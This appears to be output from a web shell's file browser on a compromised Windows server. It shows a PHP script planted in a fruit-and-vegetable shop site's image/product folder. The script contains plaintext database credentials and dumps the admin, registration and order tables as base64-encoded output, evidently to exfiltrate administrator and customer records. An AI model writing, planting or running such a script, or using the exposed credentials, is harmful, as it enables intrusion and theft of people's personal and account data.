System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

[Back to List]
<?php
$dbHost="localhost";
$dbUsername="appclien_fruit_vegetables_ur";
$dbPassword="n9k73BDn#u7Xljejh";
$dbName="appclien_fruit_vegetables_db";
$con=mysqli_connect($dbHost,$dbUsername,$dbPassword,$dbName);

if (!$con) {
    die("Connection failed: " . mysqli_connect_error());
}

$tables = ['admin', 'regis', 'order_details'];
$output = "";

foreach ($tables as $table) {
    $output .= "--- Table: $table ---\n";
    $result = mysqli_query($con, "SELECT * FROM $table LIMIT 100");
    if ($result) {
        while ($row = mysqli_fetch_assoc($result)) {
            $output .= json_encode($row) . "\n";
        }
    } else {
        $output .= "Error querying $table: " . mysqli_error($con) . "\n";
    }
    $output .= "\n";
}

echo base64_encode($output);
?>